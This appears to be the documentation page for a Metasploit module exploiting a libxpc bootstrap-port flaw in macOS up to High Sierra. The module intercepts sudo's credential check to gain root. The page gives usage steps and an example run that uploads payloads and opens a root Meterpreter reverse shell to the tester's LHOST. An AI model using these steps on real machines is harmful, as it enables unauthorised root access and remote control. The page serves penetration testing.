## Vulnerable Application
This vulnerability works against OSX <= 10.13.3 (High Sierra). It has
been tested against El Capitan (10.11), Sierra (10.12) and High Sierra,
however it may work on older versions.

The task_set_special_port API allows callers to overwrite their bootstrap port,
which is used to communicate with launchd. This port is inherited across forks:
child processes will use the same bootstrap port as the parent.
By overwriting the bootstrap port and forking a child processes, we can now gain
a MitM position between our child and launchd.

To gain root we target the sudo binary and intercept its communication with
opendirectoryd, which is used by sudo to verify credentials. We modify the
replies from opendirectoryd to make it look like our password was valid.

## Verification Steps
1. Get a session on a vulnerable system
2. `use exploit/osx/local/libxpc_mitm_ssudo`
3. `set lhost <IP>`
4. `set lport <PORT>`
5. `set session <session_id>`
6. `run`

## Scenarios
### Example Run
```
msf exploit(multi/handler) > use exploit/osx/local/libxpc_mitm_ssudo
msf exploit(osx/local/libxpc_mitm_ssudo) > set LHOST 192.168.0.2
LHOST => 192.168.0.2
msf exploit(osx/local/libxpc_mitm_ssudo) > set LPORT 4446
LPORT => 4446
msf exploit(osx/local/libxpc_mitm_ssudo) > set SESSION 1
SESSION => 1
msf exploit(osx/local/libxpc_mitm_ssudo) > exploit

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.0.2:4446
[*] Uploading file: '/tmp/romrvmmf'
[*] Uploading file: '/tmp/kflrjdgv'
[*] Executing cmd '/tmp/romrvmmf /tmp/kflrjdgv'
[*] Transmitting first stager...(210 bytes)
[*] Transmitting second stager...(4088 bytes)
[*] Sending stage (808168 bytes) to 192.168.0.2
[*] Meterpreter session 2 opened (192.168.0.2:4446 -> 192.168.0.2:50020) at 2018-11-20 16:08:05 +0800

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
```
